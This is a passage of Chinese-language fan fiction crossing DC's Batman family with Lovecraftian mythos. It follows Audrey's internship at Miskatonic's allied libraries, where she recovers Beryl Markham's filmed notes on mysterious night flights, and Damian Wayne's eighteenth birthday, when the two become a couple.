布鲁斯毫无所觉，继续念叨着，还以为自己是在鼓励达米安：“怎么忽然撒娇起来了？不会是和奥德莉吵架了吧？阿福说得对，那几个保险柜真的挺丑的，奥德莉嫌弃也很正常。你不要气馁啊。” “我去换制服了。”达米安面无表情地松开布鲁斯，快步走开了。 “喜怒无常的青春期少年。”布鲁斯不满地大声抱怨，引来了阿尔弗雷德。 管家侠主持正义：“老爷，您还想要今年的圣诞礼物吗？” 布鲁斯震惊：“我当然想要。难道我不是个好孩子吗？” “如果您不再故意招惹达米安少爷的话，还是有希望获得礼物的。”阿尔弗雷德说。 布鲁斯委屈巴巴地拖着脚朝蝙蝠洞走去，还做了个为嘴巴拉上拉链的手势。 对于大三暑假的实习，奥德莉斟酌许久，最后决定在图书馆实习，图书馆馆长亨利阿米蒂奇教授会是她的指导教师。 在密大设立之前，研习无形之术的人都曾听闻九大图书馆：群狮迷宫、噤声书局、谎言之墓、吸器、翠仙圃、交韵街口、底格里斯授业座、隐形的塞拉皮雍和第五杯修道院。它们散布于世界各地，收藏着鲜为人知的隐秘知识与奇异物品。 九大图书馆都有辉煌的历史，原先由各自背后的神秘势力掌控，有些甚至与司辰有直接联系。随着那些势力最终灭亡或从世界上淡去，九大图书馆一度陷入沉寂，几近被世人遗忘。 密大建校后，特意派出多名调查员去寻找和接触九大图书馆。在漫长的沟通和谈判之后，九大图书馆的守护者同意与密大合作，组建了一个新的、对外隐秘却对内高度协调的图书馆联盟。 “那你在实习期间会一直留在学校吗？”在听说奥德莉将在密大图书馆实习时，达米安这样问道。 “恰恰相反，教授说取决于图书馆的需求，我可能随时需要去某个图书馆协助完成短期任务。” “九大图书馆的具体位置是在哪里？你已经做好坐标了吗？”达米安问。 “教授会带我逐一拜访。我非常期待，因为其中有几间图书馆平时是需要预约才能前往的，而且很难约。” “听起来很有趣。我记得你说过，图书馆其实只是个简便称呼，实际上它们也兼着博物馆的功能。”达米安说。 “是呀，所以图书馆的任务类型很广泛，不仅是书籍相关的，还涉及神秘物品。这一年我已经修完了收容课程，一般的物品都不在话下。还记得H.P.洛夫克拉夫特的打字机吗？我们在上课时还研究了它。” “当然记得。你们有什么新发现吗？” “有很多发现。它的每一个按键背面都刻了符文，密密麻麻，几乎是微雕上去的。另外打字机内部有一个设计巧妙的装置，为它赋予了某种不可名状的力量。考虑到它的制造年代，真是不可思议。”奥德莉说着，又想起了在阿卡姆的小丑：“你们没有放松对小丑的关注吧？” “我最近刚查看了小丑的情况，他还是老样子，你可以放心。”达米安说。“关于你在新加坡的校友，我倒有一些新消息。” “帕特丽夏陈？她又做了什么？” “她很久没有出现在公众场合了，但私下仍在通过古董商寻找玉佩。”达米安故意卖个关子：“你猜布鲁斯做了什么？与他的超能力有关。” “布鲁斯的超能力？哦，超有钱。他抢购了一枚玉佩？” “答对了。正义联盟会请密大做中间人去沟通，看看能不能有什么帮上帕特丽夏的办法。毕竟血脉这种事情，也不是她自己能决定的。当然，前提是她没有犯下谋杀罪。” “文森特魏的死亡案到现在还没破？这都快一年了。你们打算动用神奇女侠的真言套索吗？”奥德莉问。 “B打算去审讯，他很擅长那个。不过真言套索总是可以作为杀手锏的。”达米安说。 “我真想去现场围观。”奥德莉感叹了一句。“B亲自审讯，这简直是对罪犯的奖赏。” “你意识到这句话听起来非常的阿卡姆风格吧？”达米安冷哼一声。“我很肯定帕特丽夏可不会这么想。” 奥德莉熟练地安抚炸毛的达米安：“如果是你去审讯，我也很想看。” 达米安立刻就被哄好了，但还是“啧”了一声，然后问：“这次的实习也是在七月底结束吗？” “是的。”奥德莉非常清楚达米安为什么问这个问题。两个人隔着屏幕对视了几秒，不约而同地移开了视线，却又用余光偷看屏幕。 “我要去夜巡了。”达米安用汇报工作的语气说。 “注意安全。”奥德莉严肃地回答。 实习的第一天，阿米蒂奇教授带着奥德莉去九大图书馆走了一圈，将她介绍给守护者们。守护者的年龄和性格各异，但无一不散发着令人敬畏的气场。 出乎奥德莉意料的是，其中一间图书馆竟然不在这一重历史之内。也就是说，她无法只凭坐标传送到达，还需要携带特定的信物才能前往群狮迷宫。 这座图书馆在第一重历史中被设立，建立在无影众王的领土之上，也即是中东的波斯帝国。在波斯帝国覆没之后，它隐于时间与空间的裂缝之中。可以说它同时存在于每一重历史，又不存在于第一重历史之外的任何一重历史。 群狮迷宫的守护者拉玛将一枚印着植物图像的金属硬币交给奥德莉，介绍说：“这种植物名为摩吕，传说它生长在神的领域。你需要带上它才能到达这里，否则会迷失在时间中。” 奥德莉立刻小心地收好硬币，好奇地打量着这座迷宫一样的建筑。它并非真正的迷宫，而是由错综复杂的石廊、圆厅与阶梯层层相绕而成的结构。视线所及之处，到处都刻着不同姿态的狮子。 “好了，我们还要去下一间图书馆。邮件联系。”阿米蒂奇教授对守护者拉玛说。 守护者拉玛点点头，注意到奥德莉的惊讶表情，她温和地解释说：“我们也引入了现代科技的力量。虽然我是旧日知识的守门人，但也很乐意用电子邮箱收信。传送的便利可没法和网络相比。” 其它几间图书馆的现代化程度比群狮迷宫更高，在保留古老建筑风格的同时，巧妙地将现代设备融入其中。回到密大图书馆之后，奥德莉惊叹地对阿米蒂奇教授说：“我已经迫不及待地想对它们了解更多了。” 阿米蒂奇教授说：“很好，我这里有一件任务要交给你。” 第92章 阿米蒂奇教授说：“还记得西西莉亚柏恩在笔记里，曾提到她在非洲遇到…… 阿米蒂奇教授说：“还记得西西莉亚柏恩在笔记里,曾提到她在非洲遇到一位名为柏瑞尔马卡姆的女飞行员吗？” “记得。柏瑞尔的父亲是英国人，教了她无形之术。”奥德莉回答。 “没错。在其他调查员的笔记里，也有人提到过柏瑞尔马卡姆这个名字,他们通常是在非洲遇见她,偶尔是在美国。她还出版了一本畅销书,叫《夜航西飞》，记录自己的飞行经历。” “原来如此。我需要做的是什么？”奥德莉问。 “在她生前的最后三十年里，她住在非洲肯尼亚的一间马场。我联系了马场的现任主人,对方说柏瑞尔的遗物都堆在一间仓库里。我希望你能去看看她是否有笔记留下来。” “好的，我现在就可以出发。”奥德莉说。 阿米蒂奇教授带着奥德莉传送到马场。马场主人对于有人愿意为陈旧的破烂付钱感到又吃惊又高兴，完全不在乎此时已经是当地时间的深夜，热情地将他们领到一间仓库前,将钥匙递给奥德莉就离开了。 这间小仓库,或者说只是一个简陋的铁皮屋子，孤零零地立在马场边缘,被深深的杂草吞没。门锁已经生锈了，钥匙在锁眼里根本转不动。奥德莉假装扭动几下钥匙，打开了门,又施展了照明术。 “看来没人动过她的东西,很好。”阿米蒂奇教授站在门口，视线扫过仓库里胡乱堆着的木箱。他又叮嘱道：“她并非正式的调查员，也许不会采用我们习惯的记录方式，她的笔记可能只是一些随手写下的只言片语，散落在不同的地方。除了笔记之外,如果你还发现了其它有趣的东西,也一并带回去。” 阿米蒂奇教授离开后，奥德莉戴上手套,开始仔细翻检那些破旧木箱。旧式飞行头盔、褪色的丝质围巾、裂口的照相机胶卷盒和笔记本被随意地堆在里面。 奥德莉先花了一个小时逐一翻阅了每一本笔记。笔记内容分为两类，一类是详尽的飞行日志，记录了航线、天气、引擎温度、飞行时间和高度等事项，另一类则是马匹饲养与训练的记录，涵盖马匹性格、日常喂养、疾病治疗等细节。 柏瑞尔的笔记字迹平稳、叙述冷静客观，看不出任何精神错乱或非自然干扰的痕迹。其中没有晦涩的术语，也没有密文或用符号代替的句子，总之，没有无形之术的痕迹。 奥德莉能感受到书写者是一个高度自律、极富条理的人。每一本笔记都在扉页上写着清晰的编号，她很快按顺序将它们排好。确认编号连续、没有缺页后，她略显挫败地叹了口气，将这些笔记小心地放在一旁。她会将它们带回密大图书馆，交由阿米蒂奇教授亲自审阅一遍。 随后，奥德莉开始检查柏瑞尔留下的衣物。在一只半塌的木箱底部，她翻出一个磨损严重的帆布袋，被几件飞行服压在下面。她将它从箱中拎出时，袋子沉甸甸的，里面发出微弱的金属碰撞声。 她小心地打开袋子，里面装着三卷包装完好的胶卷，以及一只老式便携照相机。相机早已报废，机身开裂，镜头布满蛛网状的裂纹，胶片舱里积着灰尘。但胶卷被异常用心地保存着，用油纸包裹得严严实实。油纸上贴了一张手写标签“第0册”，每个胶卷盒上也都贴了编号，从一到三。 “她把这一册笔记拍成了照片保存吗？”奥德莉喃喃自语。“但这么多年过去了，不知道还能不能冲洗出来。” 奥德莉又花了些时间仔细清理了仓库中的其它杂物，挑拣出可能有价值的物品，包括一枚老式飞行员徽章、几张旧照片，以及几张夹在马术训练手册中的涂鸦图纸。 带着箱子回到密大图书馆后，奥德莉先将它们登记在册，然后去向阿米蒂奇教授汇报自己的发现。 阿米蒂奇教授浏览完清单，看了看窗外已经深沉的夜色，说：“你做得很好。时间不早了，你明天去显影室，将这三卷胶卷冲洗成照片。” 奥德莉应下，结束了第一天的实习工作。她回到宿舍时，看到达米安的留言：“图书馆的工作感觉如何？” “我刚回来。今天去了九大图书馆，还去了非洲。” “这么晚？”达米安诧异。他已经开始夜巡了，今晚哥谭还算平静，他正站在一栋高楼的滴水兽上稍作休息。 “是的，而且我感觉今天可能会是实习期下班最早的一天。不过申请实习时我就想到这一点了。”奥德莉回复。 “听起来你需要好好休息一下，为明天的工作养足精神。”达米安说。 “是啊，我已经困得睁不开眼了。晚安。”奥德莉勉力打完最后几个字。 达米安回复了一句“晚安”，等了几秒没有收到回音，猜测奥德莉大概已经睡着了。他收起手机，从滴水兽上一跃而下，在哥谭的黑夜中继续他的夜巡任务。 第二天，奥德莉在食堂飞快地吃完早饭，便赶往图书馆地下一层的显影室冲洗照片。柏瑞尔的胶卷像是等待她揭晓的谜语，她迫不及待地想要解读它们。 冲洗的过程并不轻松。尽管胶卷被油纸包裹得十分严密，但非洲的气候终究炎热潮湿，再加上年代久远，胶片的边缘早已起皱，部分甚至粘连在一起，稍一用力就可能撕裂。 奥德莉全神贯注地工作着，动作比往常更慢、更小心。在药液中浸泡时，胶片发出微不可闻的轻响，那声音像是旧信封被撕开，将遥远过去的低语送达现在。 照片晾干之后，奥德莉将它们按照顺序整齐地摆在长桌上。大部分字迹都很清晰，她微微点头，为自己的成果感到满意，随即开始阅读照片上的内容—— 几位常驻非洲、通晓无形之术的英国飞行员们，带着几分玩笑的心态，组建了一个名为“夜航者教团”的小团体。他们聚集在一起，交流在夜间飞行时遭遇的难以解释的经历。 随着时间推移，他们发现那些最初被当作笑谈的奇异现象展现出不可忽视的深意。飞行仪表莫名其妙的波动、以及在深夜迷雾中隐现的模糊身影似乎都在暗示着某种超越人类理解的存在。 在那个年代，飞行员的死亡率极高，危险来自机械故障和恶劣天气，以及无法言说的神秘。夜航者教团的成员一个接一个地消失或死去，终于只剩下了柏瑞尔一人。尽管如此，柏瑞尔从未想过停止飞行。 起初，她将记录写在普通的笔记本上，偶然翻阅的女仆却因此昏厥。柏瑞尔意识到这些记录中蕴藏的秘密远非普通人类所能承受，开始寻找更为隐秘且安全的记录方式。最终，她选择用胶片将笔记拍摄保存，而手写的纸质笔记则被她销毁。 柏瑞尔详细记录了大量的夜间航行图，并与日间航行图进行对比，清晰地表明在非洲大陆的某些区域，地面和天空的景象在夜晚呈现出截然不同的模样。 偶尔地，星空仿佛被一层幕布覆盖，星座位置错乱，甚至出现了无法辨识的光点和暗影。地平线上也时常浮现出奇异的光晕与模糊轮廓。失去了星辰的指引，航线仪器也会出现故障，仿佛被某种无形的力量牵引着，飞行轨迹不断偏离预定路径。 柏瑞尔认为这是某种力量在夜幕下的显现，它遮蔽真实的方向，引领飞行者进入一个介于现实与虚幻之间的领域。 只有一次，她似乎真正窥见了对方。 那是一个风平浪静的夜晚，月色稀薄，星辰昏暗。她的飞机穿行在非洲上空，仪表忽然全部失灵，四周陷入一片奇异的沉寂。飞机像被看不见的巨手拖入另一层天空，就在她仰头试图看清星位时，她看到天空中一条反光如银蛇的裂痕，有什么东西在深渊中缓慢移动。 她是这样描述的：“祂的轮廓无法捕捉，仿佛由记忆、语言与影子构成。祂像是宇宙某段梦话的具象。祂知道我在看祂，我也知道祂在看我，尽管我们的凝视并未在同一维度发生——虽然没有证据，但我直觉如此。” 奇怪的是，那是她最后一次在夜航时遇见异象。之后的许多年里，无论她如何调整飞行高度、航线、时间，甚至尝试在同一日期复飞，都再也无法重现那晚。 奥德莉读完全部照片上的内容后，深深体会到了柏瑞尔的怅然之感。照片上的字迹仿佛还残留着柏瑞尔的气息，那是一个孤独又坚定的灵魂，在夜空的边缘徘徊、叩问。 柏瑞尔明知黑暗中藏着某种真相，却再也无法靠近一步，无论如何都不甘心。她曾那么接近，曾亲眼目睹星辰之外的扭曲，曾感受到那目光穿透机舱与肉/体，落在灵魂深处。可那只是一次短暂得如同梦境的经历，被夜风一吹便再无痕迹。终其一生，她都没能再获得进一步了解的机会。 奥德莉叹了口气，将照片一张张扫描后存入密大图书馆的电子系统，然后将照片装进文件夹里，去阿米蒂奇教授的办公室向他汇报笔记内容。 阿米蒂奇教授接过文件夹，眼中带上了兴趣与敬意：“我从没听说过这样的经历，她的笔记非常有价值。她虽然不是正式的调查员，但这种不断求索的冒险精神与调查员们如出一辙。” 奥德莉点点头：“没有导师，失去了同伴，她只有一架飞机和一颗不肯停下的心。” 师生二人又聊了几句后，阿米蒂奇教授忽然收到一封邮件，他看完后说：“翠仙圃的守护者刚刚联系我，希望你今天下午能过去一趟。” “那不是他们的凌晨吗？”奥德莉算了算时差，有点惊讶。翠仙圃位于中国西南的山间，是一处隐秘的道观，她记得那里和美国东部差了整整十二个小时。 “那里的道士不需要睡觉，听说也不需要吃饭。”阿米蒂奇教授的语气里满是羡慕，“不过我向他们解释过时差的问题，守护者答应按照我们的时间给你安排工作，不过你知道的，肯定还是要加班。” “我知道。”奥德莉点点头。她的预感果然成了真——这次实习不是朝九晚五，而是没日没夜的工作。 第93章 奥德莉觉得这次暑假实习是如此的漫长，又如此的短暂。她穿梭在不同…… 奥德莉觉得这次暑假实习是如此的漫长,又如此的短暂。 她穿梭在不同的时区之间，在白天与黑夜中来回跳跃。尽管她努力维持着美国东部的作息时间，以免自己一不小心把实习节奏卷成翠仙圃道士们那样的“零零七”,但身体和精神的疲惫还是悄无声息地积攒下来。 与此同时,实习期间遇到的人和事物总是充满新奇与趣味。每一天她都忙碌地处理各种意想不到的任务,等到回过神来时，才惊觉又过了一天。 此外，奥德莉终于获得了借阅权限,读到了阿塞纳丝维特的调查员笔记。阿塞纳丝度过了非常精彩的一生，一次次从险象环生的遭遇中幸存，冷静地写下笔记，然后再次出发。 奥德莉会抽空回复家人和朋友的留言,但通常是延迟回复,有时甚至打字到一半就睡着了。达米安飞快地适应了这样的联络模式，只是悄悄地倒数着她实习结束的时间。 实习的最后一天,阿米蒂奇教授特意抽出时间和奥德莉长谈了一番，对她的表现给予了肯定。奥德莉依依不舍，恨不得留下继续加班,却被教授板着脸推出了办公室：“假期还有些时间,你去放松一下。珍惜大学的最后一个暑假吧。” 奥德莉还没反应过来，人已经站在了走廊上。她在心里悄悄吐槽：明明教授自己才是那个“零零七”工作狂，上班时间从零点到下一个零点，一周七天不间断办公，现在却让她去休息。 但她也明白这是教授的关心,无奈地在门口和教授告别后,传送回了纽约的家里。 父母都出差了，家里只有她一个人。她为自己做了个三明治作为简单的晚餐,然后睡了一个长长的懒觉。 奥德莉醒来时，天已经亮了很久。她坐在床上发了会儿呆，才真正意识到实习已经结束了。 曾经，奥德莉对调查员这个职业的理解只是探险家和侦探的结合体，是一个听起来炫酷、有趣、充满传奇色彩的身份。 可现在她明白了，调查员的前方是一条冷峻的路，孤独、危险、没有尽头。 那些调查员前辈们，羊皮卷的无名制造者、H.P.洛夫克拉夫特、西西莉亚柏恩、柏瑞尔马卡姆、阿塞纳丝维特……他们在理智崩塌的边缘仍能稳住呼吸，在常人避之不及的恐惧面前选择靠近。哪怕目睹不可名状之物，也不低头、不退后，用意志与鲜血抵抗到最后一刻。 他们记录，是为了留下哪怕只是一道微弱的痕迹供后人追索。他们信奉的只有真相本身。 “我真幸运，能成为其中的一员。”奥德莉轻声感叹，却未能在自己的情绪中沉浸太久，因为许久未被召唤的布莱克正趴在她的枕头边，不住地抱怨自己错过了奥德莉的整个暑假实习。 “九大图书馆的禁忌太多了，不方便带着你。我们不是事先说好了吗？”奥德莉摸摸布莱克的小爪子安慰它。“接下来每天都和你一起玩。” “每天吗？我才不信。”布莱克毫不客气地指出奥德莉说的不是事实。“达米安生日那天，你会带上我吗？” “除了那天。”奥德莉立刻加了限定词。 “我就知道！”布莱克气得去咬枕头角，随时准备化身喷水枪，用眼泪淹没奥德莉的枕头。 “你为什么仍然对他有这么大的意见？”奥德莉费解地问。“你讨厌他哪一点？” 布莱克也说不上来，它眨眨眼睛，说：“可能因为他总想和我争夺‘你心中第一猫咪’的宝座吧。” “你想多了。他根本看不到你呀。” “那就是因为他目中无人……无猫。”布莱克愤怒地说。“他难道觉得我不配和他竞争吗？” 奥德莉摇摇头，拿起手机，打开《号角日报》的论坛浏览新闻。 在许久未关注的娱乐新闻版块，奥德莉看到某位年轻男演员公开了恋情，他的粉丝在评论中对女方品头论足、吹毛求疵。在一片嘲讽和挑剔的评论中，她忽然看到有一条这样说：“毒唯只对偶像的真爱破防。” 奥德莉偷偷瞥一眼还在把怨气发泄在可怜枕头上的布莱克，又看看那条评论，努力忍住笑意。她摸摸布莱克完全没有耳簇毛的耳朵，默默地希望它永远别看到那些关于“聪明毛”的视频和文章。 也许是因为她的手指停顿的时间太久了，布莱克忽然抬起头，圆溜溜的绿眼睛望向她，眼神中充满了清澈的愚蠢。这一次奥德莉终于没能忍住笑，然后心虚地把手移开，装作若无其事地盯着手机。 布莱克舔舔爪子，带着一副“我不知道你在笑什么但一定是因为我太可爱了”的表情，然后又用脑袋去蹭奥德莉的手，暗示她继续摸摸自己。 下午，奥德莉久违地与达米安视频通话。达米安看起来与两个月前没什么区别，表情依然冷静，语气甚至更从容稳重了。但在奥德莉眼里，这种掩饰过于用力，反而显得不自然。 她看破不说破，像往常一样和达米安聊天，心里却冒出了一个计划。 八月一日那天，奥德莉在下午给自己灌了三杯浓缩咖啡。午夜刚过，她给达米安发去一条信息：“今晚的哥谭安静吗？” 她这几天一直在关注哥谭的新闻，很满意地看到反派们只是在小打小闹，没有什么大动作。但那些人总是不按常理做事，以防万一，她还是决定问一下。 下一秒，她又补上了一条信息：“忽略那个问题，不要立Flag。现在你旁边有其他人吗？” 达米安抿嘴笑起来，回复道：“没有人，在我的安全屋里。你怎么还没睡？” 最近几日，布鲁斯因正义联盟的事务暂时离开了哥谭。迪克从布鲁德海文回来为蝙蝠侠代班几天，达米安照常作为蝙蝠侠的罗宾与他并肩夜巡。 这位爱操心的兄长故作漫不经心地打听起达米安的情感生活动向，还笨拙地安慰他：“你们不在一个城市，奥德莉又很忙，但这都没什么关系。感情是靠信任和爱维系的。她忙完了一定会想起你的。” 达米安一忍再忍、忍无可忍，最后说：“我们之间非常好。不要用哄小孩子的语气和我说话。” 迪克闭上了嘴，过一会儿又忍不住说：“你小的时候那么矮，谁能想到你才十八岁就长到了一米九。” “你是在表达嫉妒吗？”达米安故意绷起脸，冷冷地说。 “蝙蝠侠可不会嫉妒罗宾，只会为罗宾成长为靠谱的、优秀的人而高兴。”迪克爽朗地笑起来。他抬手揉了揉达米安的头，说：“我真想拥抱你一下，但我怕哥谭再有新的谣言冒出来。倒不是说布鲁斯会在意这个。” 达米安才不在乎那么多，他快速而用力地抱了一下迪克，说：“你说过的，提姆、史蒂芬、杰森和你都首先是布鲁斯的罗宾，而我是你的罗宾。” 迪克被自己当年的直球回旋击中，感动得无语凝噎，低头*擦了擦眼睛，再抬起头时，发现达米安不知道什么时候已经不见了。 下一秒，通讯器里传来达米安平静的声音，仿佛什么都没发生过：“我去安全屋看看，有情况喊我。” 这一刻，迪克感同身受地理解了戈登局长这些年的复杂心情：每次话说到一半，一回头却发现蝙蝠侠早已消失，只剩下自己和蝙蝠灯被留在原地。 他郁闷地说：“你就不能等我感动完再离开吗？” “那我们恐怕得在那里傻站上几个小时。”达米安说。 他已经为接下来的一天制定了详细计划：巡查安全屋——夜巡后回家休息——整理仪表，在韦恩庄园等待奥德莉—— 达米安以为奥德莉是想和他视频通话，但他没有等来提示音，取而代之的是空气中细微的波动声。他猜到了什么，立刻后退一步，手却还是下意识地摸向腰侧的武器，那是他多年来刻进骨子里的反应。 随即，他听见奥德莉欢快的声音：“已经过十二点啦，是今天。” 达米安一时间怀疑自己又是在做梦。奥德莉出现在他的安全屋里，穿着一袭墨绿色的长裙，像从森林里走出来的小仙子。她的长发没有像平时那样扎成干练的马尾，而是自然地披散在肩头，在昏黄灯光下泛着柔和的光，让她看起来格外梦幻。 他没有说话，连呼吸都屏住了，只是站在原地沉默地看着奥德莉。 “生日快乐。”奥德莉打破了房间的寂静。“我想在第一时间问你，想不想要一个聪明又勇敢的调查员做女朋友？” 达米安瞪圆了绿眼睛，看着奥德莉缓缓靠近，把他脸上的面具摘下放在一旁。她站得太近了，他甚至能感觉到她的呼吸落在自己的胸口，尽管那是不可能的，毕竟他还穿着罗宾制服。 “给你三秒钟的回答时间，三……” 奥德莉刚开始倒数，就被达米安急切地打断了。他几乎是喊出自己的答案：“当然想要。” “恭喜你，你的愿望实现了。”奥德莉笑眯眯地说。“别忘了我们约好的，上午十点，韦恩庄园见。” 奥德莉像夜色中的幻影般悄然消失。达米安盯着她原本站立的地方，过了几秒才回过神来。 他先是忍不住笑起来，然后又懊恼地捶了捶桌子。 “你总是这样。”达米安小声地对着空气说。“坏心眼的、横冲直撞的萨摩耶。” 通讯器忽然响起，是在蝙蝠洞的阿尔弗雷德。他听到警方频道里传来港口发生混战的消息，便立刻发出通知。 “我在附近，立刻过去。”达米安回答，然后从安全屋的窗户跃出。 这一天晚上，哥谭又多了新的都市传说：罗宾在揍人的时候心情格外愉快，疑似已经心理变态。 “我亲眼看见的！”有个现场的小喽啰后来在酒吧里拍着桌子大喊，“不，他没有笑，还是平时那副表情……那我是怎么看出来他高兴的？他全身上下都散发着喜悦的气息，就差没哼小曲了……揍人的力道？一点没减，还是那么重。” 第94章 夜巡后，蝙蝠洞里，达米安如常地保养自己的装备，动作熟练、表情冷静，…… 夜巡后,蝙蝠洞里，达米安如常地保养自己的装备，动作熟练、表情冷静,但迪克就是他觉得有哪里不一样了。 迪克坐在监控台前,心思却完全没在屏幕上。他偷偷地瞥了达米安一眼又一眼,还不断地对阿尔弗雷德使眼色，好奇万能管家是否知道达米安这副仿佛冒着粉红泡泡的状态从何而来。 阿尔弗雷德平静如水，直到迪克第七次对他挤眉弄眼之后,他终于毫无默契地问：“迪克少爷，您的眼睛是不是抽筋了？需要我为您联系汤普金斯医生吗？” 达米安大声地“啧”了一声，站起身，对着迪克说：“你是不是忘了我还在这里？” 既然被发现了,迪克索性直接问出来：“我们分开的两个小时里发生了什么？港口那里这么有趣吗？” “为什么这么说？”达米安说。 “你看起来像是中了稻草人的毒气,或者毒藤女的花粉。”迪克盯着达米安，然后被自己的猜测吓到了,“天啊，你不会真的是……” “他们还关在阿卡姆，你可以放心。”达米安默默地移开视线,忍住翻个白眼的冲动。 “好吧。那是因为终于成年了而高兴吗？”迪克说。“生日快乐。我是不是今年第一个对你说这句话的人？” “不是。”达米安抿着嘴,努力压下笑意。 “那第一个人是谁？”迪克顿悟了，“是奥德莉？” “对。”达米安用眼神示意迪克继续推理，但迪克完全没领会他的意图。最后达米安放弃了暗示，直接问道：“你能看出我有什么重大变化吗？” “看不出来。”迪克努力了一分钟，最后放弃了,毕竟他只是代班的蝙蝠侠,不是真正的哥谭第一侦探。 迪克将求助的眼神投向阿尔弗雷德，但这一次连管家侠也没有答案。两人一起探寻地看着达米安,等待他揭晓答案。 “我恋爱了。”达米安高傲地宣布。 “恭喜！”迪克激动得几乎跳起来。“什么时候的事？你是怎么表白的？在电话里吗？” 面对迪克的一连串问题，达米安抬手示意他安静，然后说：“事实上……” 他顿了一下，意识到自己完全不想把刚才发生的情景分享给任何人听。最后他只是简短地说：“没错。” “什么意思？”迪克一脸迷茫。这就像你问一个人“A还是B”，对方回答了一句“还是”。 阿尔弗雷德露出看透一切的眼神——达米安之前明明计划的是包场一家餐厅，然后正式地向奥德莉表白——但他只是露出一个欣慰的笑容，然后问：“那原本的安排还继续吗？” “当然。”达米安说。只是会做一些小小的调整，他暗暗想着。 第二天，达米安换好衣服，在镜子前认真地照了照，又问旁边的阿尔弗雷德：“阿福，我看起来怎么样？” “好极了，无可挑剔。”阿尔弗雷德说，将手里捧着的小盒子递给达米安。 达米安接过，打开看了看，说：“你觉得奥德莉会喜欢吗？” 阿尔弗雷德看着这样患得患失的达米安，温和地说：“我想，奥德莉小姐最在意的是你有没有用心准备。这一点上，我相信您不会让她失望。” “其实……”达米安抿抿嘴，炫耀式地抱怨道：“她完全打乱了我的计划。” “幸好您擅长随机应变。”阿尔弗雷德说。他看看时间，说了句“生日快乐”，然后离开了。 达米安把小盒子塞进口袋，又照了照镜子，之后先是站在窗边等待，又踱步到桌旁打开抽屉，拿起去年生日时奥德莉送给他的吊坠。 他打开吊坠，看着照片上状似乖巧的萨摩耶，伸手摸了摸她的头。 十点钟，奥德莉准时出现。由于不知道达米安的具体安排，她穿着介于正式与随意之间的及膝裙。 “哇哦。”当奥德莉看清达米安的打扮时，她惊叹了一声，然后很不正经地吹了一声口哨。 达米安穿着一身剪裁得体的西装，领带也系得一丝不苟，成熟与少年感在他身上奇妙地并存着。奥德莉对他从头打量到脚，欣赏了整整一分钟，忍不住在心里做起比较： 这身打扮和他的罗宾制服一样，完美地勾勒出他的身形——肩宽、腰细、腿长——但气质却截然不同。制服强调的是力量与速度，肌肉线条毫不掩饰，而西装则刻意淡化他的攻击性，把所有的锋芒藏在了布料下面，让他看起来更像一位富家少爷，而不是暗夜义警。 奥德莉甚至生出一种错觉，如果自己现在动手，或许能很轻松地对他来个过肩摔。 达米安像一只开屏的孔雀，骄矜地站在那里，任由奥德莉盯着他看，既不回避也不催促。 奥德莉忽然意识到自己已经盯着达米安看了太久，脸颊微微发烫，低声说：“上次看到你穿西装，好像还是去年的慈善晚宴……今天这身也很好看。” 达米安微微弯下腰，脸凑得很近，绿眼睛一眨不眨地看着奥德莉，追问道：“只是衣服好看吗？” 奥德莉的脸更红了，但她仍坚持着回望达米安，轻声却清晰地说：“你更好看。” 达米安心满意足地翘起嘴角，正考虑着是不是可以再得寸进尺一点，下一秒就被奥德莉扯住了领带，将他拉得更近，故作凶狠地说：“这么好看的达米安，快让我亲一下。” 她在达米安的脸颊上轻轻地亲了一下，一触即分，如羽毛般轻盈。 这次轮到达米安涨红了脸。奥德莉后退一步，松开了他的领带，一边为自己的成果得意洋洋，一边也为自己的冲动行为而心脏狂跳。 她很清楚自己不过是一只纸老虎，但又总是忍不住大胆地去逗达米安；而达米安虽然和她一样青涩，却绝不肯轻易认输，总是巧妙地试探反击，或者干脆佯装示弱，把她一步步引入他的节奏。 他们像是在跳一支未经彩排的华尔兹，你进我退，我进你让，步伐偶有磕绊，却意外地默契。 达米安很想以牙还牙，但他最后还是忍住了，半是控诉半是委屈地说：“这是我唯一的生日礼物吗？” 奥德莉轻笑了一声，指指达米安的领带，说：“是我太厉害了，还是你太分心了？我竟然瞒过了你。” 达米安顺着她的手指低头看去，这才发现她刚才在抓住他的领带时，竟在上面悄悄夹了一枚领带夹。 那是一枚金色的领带夹，一端镶嵌着一颗黑色宝石，吸引着所有的目光，另一端则低调地雕刻着一只瞪圆了眼睛的猫头鹰，仿佛无声地潜伏在暗处，警惕地守望着周围。 达米安轻轻挑了下眉，说：“你这是在为我打上标记吗？” 奥德莉说：“当然，可不是只有蝙蝠侠才喜欢这么做。你有意见吗？” “当然没有，这是我的荣幸。”达米安微微调整了一下领带夹的位置，让它更加稳妥地固定在领带上，然后朝奥德莉伸出一只手臂：“想不想用传统方式去餐厅用餐？” “如果我来开车的话。”奥德莉挽住达米安。 “没问题。” 在被鲜花装点得如梦境般浪漫的餐厅里，奥德莉和达米安是仅有的两位客人。 “你安排得这么郑重其事，是不是被我打乱了原本的计划？”奥德莉环顾四周，确定自己抢了达米安的戏码。 “是。”达米安毫不犹豫地承认了。“但我对结果很满意，所以不在乎过程和我计划的不一样。” “没有一点点的生气或挫败感？”奥德莉故意问。 “有一点挫败，但我很快就意识到，一定是我表现得足够好，你才会愿意这么做。”达米安说。“所以很快我的心里就只剩下高兴了。” 奥德莉笑起来，说：“你让我产生了一个有点阴暗的念头。” “说来听听。” 奥德莉咬了咬唇，为自己的念头感到十分羞愧：“我在其它世界里没有同位体。也就是说，你的同位体都会和其他人在一起……我有点嫉妒。” 达米安瞬间紧张起来，像是一只炸毛的猫，不高兴地说：“你有了我还不够，还想给我的同位体打上标记吗？” “不要误会，我并不是想组建一个‘达米安天团’……”奥德莉说到一半，忍不住幻想了一下那幅美好画面，然后被达米安几乎炽热的视线唤回现实。她赶紧继续解释：“我是希望，如果我有同位体的话，我们的同位体也能像我们一样在一起。” 达米安摇了摇头，说：“很多时候，同位体的经历天差地别。而我只在乎一件事，那就是你存在于我所在的这个世界里。” “虽然我听得很感动，但我还是想纠正你一点。有一个人的同位体似乎总是会踏上同一条道路。”奥德莉十分煞风景地说。“虽然我去过的世界数量有限，但我觉得他是世界的基石和锚点，是变化中的恒定。” 达米安思索片刻，说：“你还记得羊皮卷上提到过这样一个世界吗？”他背诵出记忆里的那段翻译：“正义与邪恶扭曲着，极致的正义竟好似邪恶。太多人自以为在做正确之事，却模糊了永远不应越过的那条线。” 奥德莉丝毫没有乱了阵脚，淡定地说：“也许他在某个世界里是邪恶的，但我相信他一定比别人邪恶得更优秀，依然是维系那个世界运转的关键。” 